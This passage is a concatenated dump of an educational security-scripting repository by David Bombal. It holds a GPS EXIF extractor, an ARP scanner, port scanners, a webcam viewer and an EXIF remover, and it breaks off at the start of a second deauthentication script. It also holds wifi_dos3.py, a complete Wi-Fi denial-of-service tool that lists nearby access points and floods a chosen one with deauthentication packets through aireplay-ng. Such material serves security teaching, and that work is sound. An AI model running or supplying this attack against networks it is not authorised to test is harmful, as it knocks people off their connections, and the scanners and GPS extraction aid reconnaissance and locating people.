gps_coords = {} 90 | writer.writerow(("Filename", file)) 91 | # We check if exif data are defined for the image. 92 | if image._getexif() == None: 93 | writer.writerow((file, "Contains no exif data.")) 94 | # If exif data are defined we can cycle through the tag, and value for the file. 95 | else: 96 | for tag, value in image._getexif().items(): 97 | # If you print the tag without running it through the TAGS.get() method you'll get numerical values for every tag. We want the tags in human-readable form. 98 | # You can see the tags and the associated decimal number in the exif standard here: https://exiv2.org/tags.html 99 | tag_name = TAGS.get(tag) 100 | if tag_name == "GPSInfo": 101 | for key, val in value.items(): 102 | # Write the GPS Data value for every key to the csv file. 103 | writer.writerow((GPSTAGS.get(key), {val})) 104 | # We add Latitude data to the gps_coord dictionary which we initialized in line 110. 105 | if GPSTAGS.get(key) == "GPSLatitude": 106 | gps_coords["lat"] = val 107 | # We add Longitude data to the gps_coord dictionary which we initialized in line 110. 108 | elif GPSTAGS.get(key) == "GPSLongitude": 109 | gps_coords["lon"] = val 110 | # We add Latitude reference data to the gps_coord dictionary which we initialized in line 110. 111 | elif GPSTAGS.get(key) == "GPSLatitudeRef": 112 | gps_coords["lat_ref"] = val 113 | # We add Longitude reference data to the gps_coord dictionary which we initialized in line 110. 114 | elif GPSTAGS.get(key) == "GPSLongitudeRef": 115 | gps_coords["lon_ref"] = val 116 | else: 117 | # We write data not related to the GPSInfo to the csv file. 118 | writer.writerow((tag_name, value)) 119 | # We print the longitudinal and latitudinal data which has been formatted for Google Maps. We only do so if the GPS Coordinates exists. 120 | if gps_coords: 121 | # We write the Google Maps Link to the csv file. 122 | writer.writerow(("Google Maps Link",create_google_maps_url(gps_coords))) 123 | # Change back to the original working directory. 124 | except IOError: 125 | print("File format not supported!") 126 | 127 | os.chdir(cwd) 128 | -------------------------------------------------------------------------------- /lanscan_arp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Import scapy 3 | import scapy.all as scapy 4 | # We need to create regular expressions to ensure that the input is correctly formatted. 5 | import re 6 | 7 | # Basic user interface header 8 | print(r"""______ _ _ ______ _ _ 9 | | _ \ (_) | | | ___ \ | | | | 10 | | | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| | 11 | | | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | | 12 | | |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | | 13 | |___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_|""") 14 | print("\n****************************************************************") 15 | print("\n* Copyright of David Bombal, 2021 *") 16 | print("\n* https://www.davidbombal.com *") 17 | print("\n* https://www.youtube.com/davidbombal *") 18 | print("\n****************************************************************") 19 | 20 | # Regular Expression Pattern to recognise IPv4 addresses. 21 | ip_add_range_pattern = re.compile("^(?:[0-9]{1,3}\.){3}[0-9]{1,3}/[0-9]*$") 22 | 23 | # Get the address range to ARP 24 | while True: 25 | ip_add_range_entered = input("\nPlease enter the ip address and range that you want to send the ARP request to (ex 192.168.1.0/24): ") 26 | if ip_add_range_pattern.search(ip_add_range_entered): 27 | print(f"{ip_add_range_entered} is a valid ip address range") 28 | break 29 | 30 | 31 | # Try ARPing the ip address range supplied by the user. 32 | # The arping() method in scapy creates a pakcet with an ARP message 33 | # and sends it to the broadcast mac address ff:ff:ff:ff:ff:ff. 34 | # If a valid ip address range was supplied the program will return 35 | # the list of all results. 36 | arp_result = scapy.arping(ip_add_range_entered) 37 | -------------------------------------------------------------------------------- /nmap_port_scanner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #Use these commands in Kali to install required software: 3 | # sudo apt install python3-pip 4 | # pip install python-nmap 5 | 6 | # Import nmap so we can use it for the scan 7 | import nmap 8 | # We need to create regular expressions to ensure that the input is correctly formatted. 9 | import re 10 | 11 | # Regular Expression Pattern to recognise IPv4 addresses. 12 | ip_add_pattern = re.compile("^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$") 13 | # Regular Expression Pattern to extract the number of ports you want to scan. 14 | # You have to specify - (ex 10-100) 15 | port_range_pattern = re.compile("([0-9]+)-([0-9]+)") 16 | # Initialising the port numbers, will be using the variables later on. 17 | port_min = 0 18 | port_max = 65535 19 | 20 | # This port scanner uses the Python nmap module. 21 | # You'll need to install the following to get it work on Linux: 22 | # Step 1: sudo apt install python3-pip 23 | # Step 2: pip install python-nmap 24 | 25 | 26 | # Basic user interface header 27 | print(r"""______ _ _ ______ _ _ 28 | | _ \ (_) | | | ___ \ | | | | 29 | | | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| | 30 | | | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | | 31 | | |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | | 32 | |___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_|""") 33 | print("\n****************************************************************") 34 | print("\n* Copyright of David Bombal, 2021 *") 35 | print("\n* https://www.davidbombal.com *") 36 | print("\n* https://www.youtube.com/davidbombal *") 37 | print("\n****************************************************************") 38 | 39 | open_ports = [] 40 | # Ask user to input the ip address they want to scan. 41 | while True: 42 | ip_add_entered = input("\nPlease enter the ip address that you want to scan: ") 43 | if ip_add_pattern.search(ip_add_entered): 44 | print(f"{ip_add_entered} is a valid ip address") 45 | break 46 | 47 | while True: 48 | # You can scan 0-65535 ports. This scanner is basic and doesn't use multithreading so scanning 49 | # all the ports is not advised. 50 | print("Please enter the range of ports you want to scan in format: - (ex would be 60-120)") 51 | port_range = input("Enter port range: ") 52 | port_range_valid = port_range_pattern.search(port_range.replace(" ","")) 53 | if port_range_valid: 54 | port_min = int(port_range_valid.group(1)) 55 | port_max = int(port_range_valid.group(2)) 56 | break 57 | 58 | nm = nmap.PortScanner() 59 | # We're looping over all of the ports in the specified range. 60 | for port in range(port_min, port_max + 1): 61 | try: 62 | # The result is quite interesting to look at. You may want to inspect the dictionary it returns. 63 | # It contains what was sent to the command line in addition to the port status we're after. 64 | # For in nmap for port 80 and ip 10.0.0.2 you'd run: nmap -oX - -p 89 -sV 10.0.0.2 65 | result = nm.scan(ip_add_entered, str(port)) 66 | # Uncomment following line and look at dictionary 67 | # print(result) 68 | # We extract the port status from the returned object 69 | port_status = (result['scan'][ip_add_entered]['tcp'][port]['state']) 70 | print(f"Port {port} is {port_status}") 71 | except: 72 | # We cannot scan some ports and this ensures the program doesn't crash when we try to scan them. 73 | print(f"Cannot scan port {port}.") 74 | 75 | -------------------------------------------------------------------------------- /nmap_port_scanner_ip_obj.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #Use these commands in Kali to install required software: 3 | # sudo apt install python3-pip 4 | # pip install python-nmap 5 | 6 | # Import nmap so we can use it for the scan 7 | import nmap 8 | # We import the ipaddress module. We want to use the ipaddress.ip_address(address) 9 | # method to see if we can instantiate a valid ip address to test. 10 | import ipaddress 11 | # We need to create regular expressions to ensure that the input is correctly formatted. 12 | import re 13 | 14 | # Regular Expression Pattern to extract the number of ports you want to scan. 15 | # You have to specify - (ex 10-100) 16 | port_range_pattern = re.compile("([0-9]+)-([0-9]+)") 17 | # Initialising the port numbers, will be using the variables later on. 18 | port_min = 0 19 | port_max = 65535 20 | 21 | # This port scanner uses the Python nmap module. 22 | # You'll need to install the following to get it work on Linux: 23 | # Step 1: sudo apt install python3-pip 24 | # Step 2: pip install python-nmap 25 | 26 | 27 | # Basic user interface header 28 | print(r"""______ _ _ ______ _ _ 29 | | _ \ (_) | | | ___ \ | | | | 30 | | | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| | 31 | | | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | | 32 | | |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | | 33 | |___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_|""") 34 | print("\n****************************************************************") 35 | print("\n* Copyright of David Bombal, 2021 *") 36 | print("\n* https://www.davidbombal.com *") 37 | print("\n* https://www.youtube.com/davidbombal *") 38 | print("\n****************************************************************") 39 | 40 | # Ask user to input the ip address they want to scan. 41 | while True: 42 | ip_add_entered = input("\nPlease enter the ip address that you want to scan: ") 43 | # If we enter an invalid ip address the try except block will go to the except block and say you entered an invalid ip address. 44 | try: 45 | ip_address_obj = ipaddress.ip_address(ip_add_entered) 46 | # The following line will only execute if the ip is valid. 47 | print("You entered a valid ip address.") 48 | break 49 | except: 50 | print("You entered an invalid ip address") 51 | 52 | 53 | while True: 54 | # You can scan 0-65535 ports. This scanner is basic and doesn't use multithreading so scanning all the ports is not advised. 55 | print("Please enter the range of ports you want to scan in format: - (ex would be 60-120)") 56 | port_range = input("Enter port range: ") 57 | # We pass the port numbers in by removing extra spaces that people sometimes enter. So if you enter 80 - 90 instead of 80-90 the program will still work. 58 | port_range_valid = port_range_pattern.search(port_range.replace(" ","")) 59 | if port_range_valid: 60 | # We're extracting the low end of the port scanner range the user want to scan. 61 | port_min = int(port_range_valid.group(1)) 62 | # We're extracting the upper end of the port scanner range the user want to scan. 63 | port_max = int(port_range_valid.group(2)) 64 | break 65 | 66 | nm = nmap.PortScanner() 67 | # We're looping over all of the ports in the specified range. 68 | for port in range(port_min, port_max + 1): 69 | try: 70 | # The result is quite interesting to look at. You may want to inspect the dictionary it returns. 71 | # It contains what was sent to the command line in addition to the port status we're after. 72 | # For in nmap for port 80 and ip 10.0.0.2 you'd run: nmap -oX - -p 89 -sV 10.0.0.2 73 | result = nm.scan(ip_add_entered, str(port)) 74 | # Uncomment following line and look at dictionary 75 | # print(result) 76 | # We extract the port status from the returned object 77 | port_status = (result['scan'][ip_add_entered]['tcp'][port]['state']) 78 | print(f"Port {port} is {port_status}") 79 | except: 80 | # We cannot scan some ports and this ensures the program doesn't crash when we try to scan them. 81 | print(f"Cannot scan port {port}.") 82 | -------------------------------------------------------------------------------- /port_scanner_ip_obj.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # The socket module in Python is an interface to the Berkeley sockets API. 3 | import socket 4 | # We import the ipaddress module. We want to use the ipaddress.ip_address(address) 5 | # method to see if we can instantiate a valid ip address to test. 6 | import ipaddress 7 | # We need to create regular expressions to ensure that the input is correctly formatted. 8 | import re 9 | 10 | # Regular Expression Pattern to extract the number of ports you want to scan. 11 | # You have to specify - (ex 10-100) 12 | port_range_pattern = re.compile("([0-9]+)-([0-9]+)") 13 | # Initialising the port numbers, will be using the variables later on. 14 | port_min = 0 15 | port_max = 65535 16 | 17 | # This script uses the socket api to see if you can connect to a port on a specified ip address. 18 | # Once you've successfully connected a port is seen as open. 19 | # This script does not discriminate the difference between filtered and closed ports. 20 | 21 | # Basic user interface header 22 | print(r"""______ _ _ ______ _ _ 23 | | _ \ (_) | | | ___ \ | | | | 24 | | | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| | 25 | | | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | | 26 | | |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | | 27 | |___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_|""") 28 | print("\n****************************************************************") 29 | print("\n* Copyright of David Bombal, 2021 *") 30 | print("\n* https://www.davidbombal.com *") 31 | print("\n* https://www.youtube.com/davidbombal *") 32 | print("\n****************************************************************") 33 | 34 | open_ports = [] 35 | # Ask user to input the ip address they want to scan. 36 | while True: 37 | ip_add_entered = input("\nPlease enter the ip address that you want to scan: ") 38 | # If we enter an invalid ip address the try except block will go to the except block and say you entered an invalid ip address. 39 | try: 40 | ip_address_obj = ipaddress.ip_address(ip_add_entered) 41 | # The following line will only execute if the ip is valid. 42 | print("You entered a valid ip address.") 43 | break 44 | except: 45 | print("You entered an invalid ip address") 46 | 47 | 48 | while True: 49 | # You can scan 0-65535 ports. This scanner is basic and doesn't use multithreading so scanning all 50 | # the ports is not advised. 51 | print("Please enter the range of ports you want to scan in format: - (ex would be 60-120)") 52 | port_range = input("Enter port range: ") 53 | # We pass the port numbers in by removing extra spaces that people sometimes enter. 54 | # So if you enter 80 - 90 instead of 80-90 the program will still work. 55 | port_range_valid = port_range_pattern.search(port_range.replace(" ","")) 56 | if port_range_valid: 57 | # We're extracting the low end of the port scanner range the user want to scan. 58 | port_min = int(port_range_valid.group(1)) 59 | # We're extracting the upper end of the port scanner range the user want to scan. 60 | port_max = int(port_range_valid.group(2)) 61 | break 62 | 63 | # Basic socket port scanning 64 | for port in range(port_min, port_max + 1): 65 | # Connect to socket of target machine. We need the ip address and the port number we want to connect to. 66 | try: 67 | # Create a socket object 68 | # You can create a socket connection similar to opening a file in Python. 69 | # We can change the code to allow for domain names as well. 70 | # With socket.AF_INET you can enter either a domain name or an ip address 71 | # and it will then continue with the connection. 72 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 73 | # You want to set a timeout for the socket to try and connect to the server. 74 | # If you make the duration longer it will return better results. 75 | # We put it at 0.5s. So for every port it scans it will allow 0.5s 76 | # for a successful connection. 77 | s.settimeout(0.5) 78 | # We use the socket object we created to connect to the ip address we entered and the port number. 79 | # If it can't connect to this socket it will cause an exception and the open_ports list will not 80 | # append the value. 81 | s.connect((ip_add_entered, port)) 82 | # If the following line runs then then it was successful in connecting to the port. 83 | open_ports.append(port) 84 | 85 | except: 86 | # We don't need to do anything here. If we were interested in the closed ports we'd put something here. 87 | pass 88 | 89 | # We only care about the open ports. 90 | for port in open_ports: 91 | # We use an f string to easily format the string with variables so we don't have to do concatenation. 92 | print(f"Port {port} is open on {ip_add_entered}.") 93 | -------------------------------------------------------------------------------- /port_scanner_regex.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # The socket module in Python is an interface to the Berkeley sockets API. 3 | import socket 4 | # We need to create regular expressions to ensure that the input is correctly formatted. 5 | import re 6 | 7 | # Regular Expression Pattern to recognise IPv4 addresses. 8 | ip_add_pattern = re.compile("^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$") 9 | # Regular Expression Pattern to extract the number of ports you want to scan. 10 | # You have to specify - (ex 10-100) 11 | port_range_pattern = re.compile("([0-9]+)-([0-9]+)") 12 | # Initialising the port numbers, will be using the variables later on. 13 | port_min = 0 14 | port_max = 65535 15 | 16 | # This script uses the socket api to see if you can connect to a port on a specified ip address. 17 | # Once you've successfully connected a port is seen as open. 18 | # This script does not discriminate the difference between filtered and closed ports. 19 | 20 | # Basic user interface header 21 | print(r"""______ _ _ ______ _ _ 22 | | _ \ (_) | | | ___ \ | | | | 23 | | | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| | 24 | | | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | | 25 | | |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | | 26 | |___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_|""") 27 | print("\n****************************************************************") 28 | print("\n* Copyright of David Bombal, 2021 *") 29 | print("\n* https://www.davidbombal.com *") 30 | print("\n* https://www.youtube.com/davidbombal *") 31 | print("\n****************************************************************") 32 | 33 | open_ports = [] 34 | # Ask user to input the ip address they want to scan. 35 | while True: 36 | ip_add_entered = input("\nPlease enter the ip address that you want to scan: ") 37 | if ip_add_pattern.search(ip_add_entered): 38 | print(f"{ip_add_entered} is a valid ip address") 39 | break 40 | 41 | while True: 42 | # You can scan 0-65535 ports. This scanner is basic and doesn't use multithreading so scanning all 43 | # the ports is not advised. 44 | print("Please enter the range of ports you want to scan in format: - (ex would be 60-120)") 45 | port_range = input("Enter port range: ") 46 | port_range_valid = port_range_pattern.search(port_range.replace(" ","")) 47 | if port_range_valid: 48 | port_min = int(port_range_valid.group(1)) 49 | port_max = int(port_range_valid.group(2)) 50 | break 51 | 52 | # Basic socket port scanning 53 | for port in range(port_min, port_max + 1): 54 | # Connect to socket of target machine. We need the ip address and the port number we want to connect to. 55 | try: 56 | # Create a socket object 57 | # You can create a socket connection similar to opening a file in Python. 58 | # We can change the code to allow for domain names as well. 59 | # With socket.AF_INET you can enter either a domain name or an ip address 60 | # and it will then continue with the connection. 61 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 62 | # You want to set a timeout for the socket to try and connect to the server. 63 | # If you make the duration longer it will return better results. 64 | # We put it at 0.5s. So for every port it scans it will allow 0.5s 65 | # for a successful connection. 66 | s.settimeout(0.5) 67 | # We use the socket object we created to connect to the ip address we entered 68 | # and the port number. If it can't connect to this socket it will cause an 69 | # exception and the open_ports list will not append the value. 70 | s.connect((ip_add_entered, port)) 71 | # If the following line runs then then it was successful in connecting to the port. 72 | open_ports.append(port) 73 | 74 | except: 75 | # We don't need to do anything here. If we were interested in the closed ports we'd put something here. 76 | pass 77 | 78 | # We only care about the open ports. 79 | for port in open_ports: 80 | # We use an f string to easily format the string with variables so we don't have to do concatenation. 81 | print(f"Port {port} is open on {ip_add_entered}.") 82 | -------------------------------------------------------------------------------- /python webcam.py: -------------------------------------------------------------------------------- 1 | import cv2 2 | 3 | # id of the video capturing device to open. To open default camera using default backend just pass 0. 4 | capture = cv2.VideoCapture(0) 5 | 6 | while True: 7 | _, frame = capture.read() 8 | # We give the Window a name of "Capture from Webcam", and we also give it the frame which is an numpy object. 9 | cv2.imshow("Capture from Webcam", frame) 10 | # We know that the ASCII code for the Escape key is 27. 11 | if cv2.waitKey(1) == 27: 12 | break 13 | 14 | # Release the capture and destroy all OpenCV Windows. 15 | capture.release() 16 | cv2.destroyAllWindows() 17 | -------------------------------------------------------------------------------- /remove_exif.py: -------------------------------------------------------------------------------- 1 | # Disclaimer: This script is for educational purposes only. 2 | # Do not use against any photos that you don't own or have authorization to test. 3 | 4 | #!/usr/bin/env python3 5 | 6 | # This program is for .JPG and .TIFF format files. 7 | # Installation and usage instructions: 8 | # 1. Install Pillow (Pillow will not work if you have PIL installed): 9 | # python3 -m pip install --upgrade pip 10 | # python3 -m pip install --upgrade Pillow 11 | # 2. Add .jpg images downloaded from Flickr to subfolder ./images from where the script is stored. 12 | # Try the following Flickr account: https://www.flickr.com/photos/194419969@N07/? (Please don't use other Flickr accounts). 13 | # Note most social media sites strip exif data from uploaded photos. 14 | 15 | 16 | # Print Logo 17 | print(""" 18 | ______ _ _ ______ _ _ 19 | | _ \ (_) | | | ___ \ | | | | 20 | | | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| | 21 | | | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | | 22 | | |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | | 23 | |___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_| 24 | 25 | 26 | 27 | _______ _____________ _____ _____ _____ _ 28 | | ___\ \ / /_ _| ___| |_ _| _ || _ | | 29 | | |__ \ V / | | | |_ | | | | | || | | | | 30 | | __| / \ | | | _| | | | | | || | | | | 31 | | |___/ /^\ \_| |_| | | | \ \_/ /\ \_/ / |____ 32 | \____/\/ \/\___/\_| \_/ \___/ \___/\_____/ 33 | 34 | 35 | """) 36 | 37 | 38 | import os 39 | from PIL import Image 40 | 41 | # Add files to the folder ./images 42 | # We assign the cwd to a variable. We will refer to it to get the path to images. 43 | cwd = os.getcwd() 44 | # Change the current working directory to the one where you keep your images. 45 | os.chdir(os.path.join(cwd, "images")) 46 | # Get a list of all the files in the images directory. 47 | files = os.listdir() 48 | 49 | # Check if you have any files in the ./images folder. 50 | if len(files) == 0: 51 | print("You don't have have files in the ./images folder.") 52 | exit() 53 | # Loop through the files in the images directory. 54 | for file in files: 55 | # We add try except black to handle when there are wrong file formats in the ./images folder. 56 | try: 57 | img = Image.open(file) 58 | # We get the exif data from the which we'll overwrite 59 | img_data = list(img.getdata()) 60 | # We create a new Image object. We initialise it with the same mode and size as the original image. 61 | img_no_exif = Image.new(img.mode, img.size) 62 | # We copy the pixel data from img_data. 63 | img_no_exif.putdata(img_data) 64 | # We save the new image without exif data. The keyword argument exif would've been used with the exif data if you wanted to save any. We overwrite the original image. 65 | img_no_exif.save(file) 66 | except IOError: 67 | print("File format not supported!") 68 | -------------------------------------------------------------------------------- /wifi_dos3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Disclaimer: This script is for educational purposes only. Do not use against any network that you don't own or have authorization to test. 3 | 4 | # We will be using the subprocess module to run commands on Kali Linux. 5 | import subprocess 6 | # We require regular expressions. 7 | import re 8 | # We want to open the CSV files generated by airmon-ng, 9 | # and we'll use the built-in csv module. 10 | import csv 11 | # We want to import os because we want to check for sudo 12 | import os 13 | # We want to use time.sleep() 14 | import time 15 | # We want to move .csv files in the folder if we found any. 16 | # We'll use shutil for that. 17 | import shutil 18 | # Create a timestamp for .csv filename 19 | from datetime import datetime 20 | 21 | # Create an empty list 22 | active_wireless_networks = [] 23 | 24 | # We use this function to test if the ESSID is already in the list file. 25 | # If so we return False so we don't add it again. 26 | # If it is not in the lst we return True which will instruct the elif 27 | # statement to add it to the lst. 28 | def check_for_essid(essid, lst): 29 | check_status = True 30 | 31 | # If no ESSIDs in list add the row 32 | if len(lst) == 0: 33 | return check_status 34 | 35 | # This will only run if there are wireless access points in the list. 36 | for item in lst: 37 | # If True don't add to list. False will add it to list 38 | if essid in item["ESSID"]: 39 | check_status = False 40 | 41 | return check_status 42 | 43 | # Basic user interface header 44 | print(r"""______ _ _ ______ _ _ 45 | | _ \ (_) | | | ___ \ | | | | 46 | | | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| | 47 | | | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | | 48 | | |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | | 49 | |___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_|""") 50 | print("\n****************************************************************") 51 | print("\n* Copyright of David Bombal, 2021 *") 52 | print("\n* https://www.davidbombal.com *") 53 | print("\n* https://www.youtube.com/davidbombal *") 54 | print("\n****************************************************************") 55 | 56 | 57 | # If the user doesn't run the program with super user privileges, don't allow them to continue. 58 | if not 'SUDO_UID' in os.environ.keys(): 59 | print("Try running this program with sudo.") 60 | exit() 61 | 62 | # Remove .csv files before running the script. 63 | for file_name in os.listdir(): 64 | # We should only have one csv file as we delete them from the folder 65 | # every time we run the program. 66 | if ".csv" in file_name: 67 | print("There shouldn't be any .csv files in your directory. We found .csv files in your directory and will move them to the backup directory.") 68 | # We get the current working directory. 69 | directory = os.getcwd() 70 | try: 71 | # We make a new directory called /backup 72 | os.mkdir(directory + "/backup/") 73 | except: 74 | print("Backup folder exists.") 75 | # Create a timestamp 76 | timestamp = datetime.now() 77 | # We move any .csv files in the folder to the backup folder. 78 | shutil.move(file_name, directory + "/backup/" + str(timestamp) + "-" + file_name) 79 | 80 | # Regex to find wireless interfaces. We're making the assumption they will all be wlan0 or higher. 81 | wlan_pattern = re.compile("^wlan[0-9]+") 82 | 83 | # Python allows is to run system commands by using a function provided by the subprocess module. 84 | # subprocess.run() 85 | # The script is the parent process and creates a child process which runs the system command, 86 | # and will only continue once the child process has completed. 87 | # We run the iwconfig command to look for wireless interfaces. 88 | check_wifi_result = wlan_pattern.findall(subprocess.run(["iwconfig"], capture_output=True).stdout.decode()) 89 | 90 | # No WiFi Adapter connected. 91 | if len(check_wifi_result) == 0: 92 | print("Please connect a WiFi adapter and try again.") 93 | exit() 94 | 95 | # Menu to select WiFi interface from 96 | print("The following WiFi interfaces are available:") 97 | for index, item in enumerate(check_wifi_result): 98 | print(f"{index} - {item}") 99 | 100 | # Ensure the WiFi interface selected is valid. Simple menu with interfaces to select from. 101 | while True: 102 | wifi_interface_choice = input("Please select the interface you want to use for the attack: ") 103 | try: 104 | if check_wifi_result[int(wifi_interface_choice)]: 105 | break 106 | except: 107 | print("Please enter a number that corresponds with the choices available.") 108 | 109 | # For easy reference we call the selected interface hacknic 110 | hacknic = check_wifi_result[int(wifi_interface_choice)] 111 | 112 | # Tell the user we're going to kill the conflicting processes. 113 | print("WiFi adapter connected!\nNow let's kill conflicting processes:") 114 | 115 | # Put wireless in Monitor mode 116 | print("Putting Wifi adapter into monitored mode:") 117 | # This is one way to put it into monitoring mode. You can also use iwconfig, or airmon-ng. 118 | subprocess.run(["ip", "link", "set", hacknic, "down"]) 119 | # Killing additional processes makes sure that nothing interferes with putting controller into monitor mode. 120 | subprocess.run(["airmon-ng", "check", "kill"]) 121 | # Put the WiFi nic in monitor mode. 122 | subprocess.run(["iw", hacknic, "set", "monitor", "none"]) 123 | # Bring the WiFi controller back online. 124 | subprocess.run(["ip", "link", "set", hacknic, "up"]) 125 | 126 | # subprocess.Popen() 127 | # The Popen method opens a pipe from a command. 128 | # The output is an open file that can be accessed by other programs. 129 | # We run the iwconfig command to look for wireless interfaces. 130 | # Discover access points 131 | discover_access_points = subprocess.Popen(["sudo", "airodump-ng","-w" ,"file","--write-interval", "1","--output-format", "csv", hacknic], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 132 | 133 | # Loop that shows the wireless access points. We use a try except block and we will quit the loop by pressing ctrl-c. 134 | try: 135 | while True: 136 | # We want to clear the screen before we print the network interfaces. 137 | subprocess.call("clear", shell=True) 138 | for file_name in os.listdir(): 139 | # We should only have one csv file as we backup all previous csv files from the folder every time we run the program. 140 | # The following list contains the field names for the csv entries. 141 | fieldnames = ['BSSID', 'First_time_seen', 'Last_time_seen', 'channel', 'Speed', 'Privacy', 'Cipher', 'Authentication', 'Power', 'beacons', 'IV', 'LAN_IP', 'ID_length', 'ESSID', 'Key'] 142 | if ".csv" in file_name: 143 | with open(file_name) as csv_h: 144 | # This will run multiple times and we need to reset the cursor to the beginning of the file. 145 | csv_h.seek(0) 146 | # We use the DictReader method and tell it to take the csv_h contents and then apply the dictionary with the fieldnames we specified above. 147 | # This creates a list of dictionaries with the keys as specified in the fieldnames. 148 | csv_reader = csv.DictReader(csv_h, fieldnames=fieldnames) 149 | for row in csv_reader: 150 | # We want to exclude the row with BSSID. 151 | if row["BSSID"] == "BSSID": 152 | pass 153 | # We are not interested in the client data. 154 | elif row["BSSID"] == "Station MAC": 155 | break 156 | # Every field where an ESSID is specified will be added to the list. 157 | elif check_for_essid(row["ESSID"], active_wireless_networks): 158 | active_wireless_networks.append(row) 159 | 160 | print("Scanning. Press Ctrl+C when you want to select which wireless network you want to attack.\n") 161 | print("No |\tBSSID |\tChannel|\tESSID |") 162 | print("___|\t___________________|\t_______|\t______________________________|") 163 | for index, item in enumerate(active_wireless_networks): 164 | # We're using the print statement with an f-string. 165 | # F-strings are a more intuitive way to include variables when printing strings, 166 | # rather than ugly concatenations. 167 | print(f"{index}\t{item['BSSID']}\t{item['channel'].strip()}\t\t{item['ESSID']}") 168 | # We make the script sleep for 1 second before loading the updated list. 169 | time.sleep(1) 170 | 171 | except KeyboardInterrupt: 172 | print("\nReady to make choice.") 173 | 174 | # Ensure that the input choice is valid. 175 | while True: 176 | # If you don't make a choice from the options available in the list, 177 | # you will be asked to please try again. 178 | choice = input("Please select a choice from above: ") 179 | try: 180 | if active_wireless_networks[int(choice)]: 181 | break 182 | except: 183 | print("Please try again.") 184 | 185 | # To make it easier to work with and read the code, we assign the results to variables. 186 | hackbssid = active_wireless_networks[int(choice)]["BSSID"] 187 | hackchannel = active_wireless_networks[int(choice)]["channel"].strip() 188 | 189 | # Change to the channel we want to perform the DOS attack on. 190 | # Monitoring takes place on a different channel and we need to set it to that channel. 191 | subprocess.run(["airmon-ng", "start", hacknic, hackchannel]) 192 | 193 | # Deauthenticate clients using a subprocess. 194 | # The script is the parent process and creates a child process which runs the system command, 195 | # and will only continue once the child process has completed. 196 | try: 197 | subprocess.run(["aireplay-ng", "--deauth", "0", "-a", hackbssid, hacknic]) 198 | except KeyboardInterrupt: 199 | print("Done!") 200 | # User will need to use control-c to break the script. 201 | -------------------------------------------------------------------------------- /wifi_dos_own.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Disclaimer: 3 | # This script is for educational purposes only. 4 | # Do not use against any network that you don't own or have authorization to test. 5 | 6 | #!/usr/bin/python3 7 | 8 | # We will be using the csv module to work with the data captured by airodump-ng. 9 | import csv 10 | # If we move csv files to a backup directory we will use the datetime module to create 11 | # to create a timestamp in the file name. 12 | from datetime import datetime 13 | # We will use the os module to get the current working directory and to list filenames in a directory. 14 | import os 15 | # We will use the regular expressions module to find wifi interface name, and also MAC Addresses. 16 | import re 17 | # We will use methods from the shutil module to move files. 18 | import shutil 19 | # We can use the subprocess module to run operating system commands. 20 | import subprocess 21 | # We will create a thread for each deauth sent to a MAC so that enough time doesn't elapse to allow a device back on the network. 22 | import threading 23 | # We use the sleep method in the menu. 24 | import time 25 | 26 | 27 | # Helper functions 28 | def in_sudo_mode(): 29 | """If the user doesn't run the program with super user privileges, don't allow them to continue.""" 30 | if not 'SUDO_UID' in os.environ.keys(): 31 | print("Try running this program with sudo.") 32 | exit() 33 | 34 | 35 | def find_nic(): 36 | """This function is used to find the network interface controllers on your computer.""" 37 | # We use the subprocess.run to run the "sudo iw dev" command we'd normally run to find the network interfaces. 38 | result = subprocess.run(["iw", "dev"], capture_output=True).stdout.decode() 39 | network_interface_controllers = wlan_code.findall(result) 40 | return network_interface_controllers 41 | 42 | 43 | def set_monitor_mode(controller_name): 44 | """This function needs the network interface controller name to put it into monitor mode. 45 | Argument: Network Controller Name""" 46 | # Put WiFi controller into monitor mode. 47 